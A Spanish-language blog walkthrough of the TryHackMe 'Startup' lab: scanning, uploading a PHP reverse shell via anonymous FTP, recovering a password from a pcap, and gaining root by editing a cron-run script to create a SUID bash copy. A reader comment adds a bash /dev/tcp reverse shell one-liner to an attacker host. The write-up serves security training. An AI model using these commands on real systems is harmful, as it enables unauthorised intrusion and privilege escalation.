Startup – TryHackMe Walkthrough

Startup – TryHackMe Walkthrough

Hoy toca resolver la máquina Startup de TryHackMe, en ella, gracias al reconocimiento podremos subir una shell reversa por FTP, logrando una ejecución a través del servicio web y lograr un primer acceso, luego, gracias al abuso de una tarea cron que ejecuta un script que podremos modificar, podremos escalar privilegios.

Información importante sobre la máquina

Dirección IP

Nivel de dificultad

10.10.69.62

Fácil

Reconocimiento

Lo primero, como siempre, se empieza analizando los 65535 puertos con nmap, para ello:

nmap -Pn --min-rate=5100 -n -p1-65535 <IP>
clear ya funciona

Escaneo con nmap para detectar todos los puertos abiertos

Podemos ver que hay 3 puertos abiertos, 21 (FTP), 22(SSH) y 80 (HTTP), igualmente, como siempre digo, no hay que confiarse de nmap a priori debido a que no está consumiendo el servicio como tal y modificar los banners de los servicios para que, por ejemplo, un SSH ante namp sea otro servicio, no es algo difícil de hacer, por ende, aunque tampoco es 100% confiable, haremos el siguiente escaneo:

nmap -sV -sC -T4 -p22,80 <IP> -oN nmapScan
clear ya funciona

Escaneo profundo con nmap

Podemos ver que el servicio FTP tiene el acceso anónimo habilitado, así que hay que entrar a ver qué hay por ahí:

clear ya funciona

Acceso al servidor FTP

Hay una imagen y un fichero en txt, dicho fichero tiene este contenido:

clear ya funciona

Nota sacada del servidor FTP

De aquí solo se puede sacar un posible nombre de usuario que sería “Maya”, SPOILER, no servirá para nada. Ahora, en el servidor apache, tenemos un sitio web que, no nos da mucha información útil:

clear ya funciona

Página principal de la aplicación web corriendo en el servidor web

En su código fuente, podemos ver un comentario que dice que el sitio necesita ser actualizado:

clear ya funciona

Código fuente de la página de inicio

Ahora, como siempre, haremos fuzzing con gubuster para hacer detección de recursos y directorios ocultos en el sitio web, para ello:

gobuster dir --url <URL> -w /usr/share/wordlists/dirb/big.txt -o gobusterScan
clear ya funciona

Fuzzing con gobuster

Hay un directorio llamado /files/, en el, veremos todo el contenido del FTP:

clear ya funciona

Visualización de los ficheros encontrados en el FTP desde la web

Explotación

Entonces, si podemos acceder vía web los ficheros que están en el FTP, usemos un poco la lógica, podemos subir una reverse shell en PHP y, como lo visualizamos vía web, podremos hacer que el código PHP se ejecute y podremos obtener un primer acceso al sistema, así que, creare un código PHP simple para lograr este objetivo y, lo cargare a la máquina victima a través de FTP:

clear ya funciona

Shell reversa a usar

Y sí, esa es mi IP en TryHackMe, no pasa nada, suelo regenerarla a menudo, así que no hagas cosas raras.

clear ya funciona

Subida de la shell por FTP

Ya con esto, solo queda ponerse a la escucha con netcat en el puerto seleccionado, en mi caso el 443:

nc -lvnp 443

Y, ejecutar la shell desde el navegador, haciendo esto, ya estamos dentro:

clear ya funciona

Primer acceso al sistema

Bien, ahora, toca hacer un tratamiento de la TTY para obtener una shell tan estable como la relación amorosa que tendrás cuando aprendas a quererte a ti mismo primero:

clear ya funciona

Shell interactiva obtenida

Escalación de privilegios

Ahora bien, enumere el sistema en busca de vías potenciales de escalación de privilegios, pero, me acorde que era un CTF y que en TryHackMe se nos pedía conseguir “la receta de la sopa picante”, literal piden eso, entonces solo basta hacer un simple find para poder conseguir la sopa de tabasco:

clear ya funciona

Receta

Leyendo el texto podrás encontrar la respuesta a esa pregunta o, busca en tu corazón *GUIÑO* *GUIÑO*.

Seguidamente, seguí enumerando el sistema y encontré unos directorios jugosos, entre ellos, uno llamado incidents ubicado en /, dentro de este directorio hay un conveniente fichero pcapng:

clear ya funciona

Fichero .pcapng

Entonces, como en la máquina víctima no tengo ni conexión a internet, ni WireShark ni TShark, toca traerse el fichero a nuestra máquina, para ello hay muchas formas, yo pondré a la escucha un servidor en Python (ya que la máquina victima cuenta con Python instalado) y, con wget descargare el recurso desde mi máquina:

clear ya funciona

Descarga del fichero .pcapng

Ahora, la mejor parte, analizar el tráfico de la captura a ver que tiene, para ello lo abriré con WireShark:

clear ya funciona

Fichero .pcapng abierto

Podemos ver que parece ser una conexión a un servidor web, bien, ahora hay que ver el flujo TCP:

clear ya funciona

Seguimiento del tráfico TCP

Aquí podemos ver que, aparentemente la máquina fue comprometida antes por otra persona y lo interesante es que vemos una posible contraseña, ahora bien, si vemos los usuarios del sistema, veremos que tenemos a “lennie”:

clear ya funciona

Verificación de usuarios potenciales para escalar privilegios

Así que, podemos probar a intentar logearnos con ese usuario e introduciendo la cadena de caracteres que obtuvimos viendo el flujo TCP de la captura en WireShark, al hacerlo, veremos que efectivamente si era su contraseña, que pudimos acceder como ese usuario y, podremos obtener la primera bandera:

clear ya funciona

Escalación de privilegios al usuario lennie

Bien, ahora, toca volver a escalar privilegios, esta vez a root, para ello seguí enumerando la máquina y note que en el directorio home del usuario lennie, había dos directorios más, uno con permisos de root lo cual llamo mi atención y, al cual podía acceder debido a ese permiso de ejecución dado a “otros”:

clear ya funciona

Directorio scripts

Una vez dentro, podemos ver que hay un script llamado “planner.sh” que, mirando su código, se ve que sobrescribe el contenido del fichero startup_list.txt con el valor de la variable LIST y que luego ejecuta el script llamado “print.sh” ubicado en /etc/:

clear ya funciona

Código de “planner.sh”

Ahora, no podemos modificar este script, pero este script ejecuta el script “print.sh” y si vemos ese script, veremos que es un simple “echo” que nos imprime por pantalla “Done!”, pero lo interesante viene aquí, dicho script si podemos modificarlo ya que nuestro usuario es su propietario y cuenta con los permisos para tal acción, por ende, de forma indirecta, podremos ejecutar lo que este en “print.sh” como root:

clear ya funciona

Permisos para el fichero “print.sh”

Así que lo que sigue es introducir código en el script “print.sh” para que sea ejecutado cuando se ejecute el script “planner.sh”, dicho código puede ser:

#!/bin/bash
echo "Coldd Security is the best Cyber Security Community"
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

Básicamente con este script, estamos haciendo una copia del binario bash al directorio /tmp/ y, luego le asignamos permisos SUID a dicho binario para que pueda ser ejecutado por cualquier usuario, recuerda que todas estas acciones se hacen como root (si es que el script “planner.sh” se ejecuta como el usuario root) y, por ende, aunque el binario bash se copie, igualmente seguirá teniendo de propietario al usuario root y el principio del funcionamiento del permiso SUID se aplica y podremos aprovecharnos de esto:

clear ya funciona

Código a usar

Ahora, hasta este momento todo muy bonito, pero, no podemos ejecutar el script “planner.sh” y hacer que esto funcione, ya que si lo ejecutamos con la sesión actual, solo obtendremos una copia del binario bash en /tmp/ con los permisos del usuario “lennie” y no nos interesa esto, por ende, algo que pensé fue que, si habían scripts por ahí haciendo este tipo de acciones que parecen requerir que se hagan cada cierto tiempo, puede que haya una tarea cron por detrás ejecutándolas, para ello podemos usar una herramienta muy buena llamada pspy, en concreto pspy32, la puedes descargar desde aquí entonces, esto es simple, la descargamos en nuestra máquina, activamos un servidor http y, con wget nos lo traemos a la máquina víctima, así que primero en tu máquina descarga pspy32 y ejecuta el siguiente comando:

python3 -m http.server <PUERTO>

Luego, en la máquina víctima, muévete a un directorio que te permita escribir, puede ser /tmp/ y desde ahí ejecuta el siguiente comando:

wget http://<TU-IP>:<PUERTO>/pspy32
clear ya funciona

Transferencia de pspy32 a la máquina víctima

Con esto estaremos casi listos, queda darle permisos de ejecución a pspy32:

chmod +x pspy32

Ahora solo queda ejecutarlo y ver lo que nos pone:

clear ya funciona

Ejecución de pspy32

En efecto, vemos que cada minuto se ejecutará el script “planner.sh” por ende, solo queda hacer todo el procedimiento anteriormente explicado y, al cabo de un minuto, nuestro cambio en el script “print.sh” será ejecutado como root y obtendremos esa copia del binario bash en /tmp/:

clear ya funciona

Creación del binario “bash” con permisos suid

Ahora, solo queda ejecutar:

/tmp/bash -p

Y listo, máquina completada:

clear ya funciona

Acceso como el usuario root

Calificación

  • Dificultad de acceso: 7% 7%
  • Dificultad de escalación de privilegios: 12% 12%

He hecho esta puntuación basándome en estos valores propios:

Fácil1% – 30%

Medio: 31% – 70%

Difícil: 71% – 100%

Únete al servidor de Discord de Coldd Security y aprende ciberseguridad cada día.

Anuncio

Sobre el Autor

Martin Frias

Founder of Coldd Security

3 Comentarios

  1. agustin sanchez

    Buah tiioo la escalacion ha molado, yo es que estoy empezando eh y esta maquina de facil no tiene ni la F jajaj

    Responder
  2. Tangananaka

    tengo un aporte para simplificar las cosas:
    al ejecutar el planner.sh si se hace con ./planner.sh -p , el archivo /etc/print.sh se ejecutara como root y funcionara si se le coloca una reverse shell
    dentro
    bash -i >& /dev/tcp/ipnuestrokali/8081 0>&1

    en nuestro kali recibimos nc -lvnp 8081 y tendremos root en la reverse shell

    Saludos de Chile

    Responder
    • Martin Frias

      Excelente aporte, gracias ;).

      Responder

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Información adicional sobre protección de datos:
Responsable: Martin Frias.
Finalidad: Moderar los comentarios de este sitio web.
Cesión: NO se cederán a nadie, salvo obligación legal.
Derechos: Acceso, rectificación, cancelación y borrado de tus datos.
Legitimación: Tu consentido expreso.

REDES SOCIALES

Newsletter

Estadísticas

  • 189.190
  • 57

TheHackerSnow

0

Share This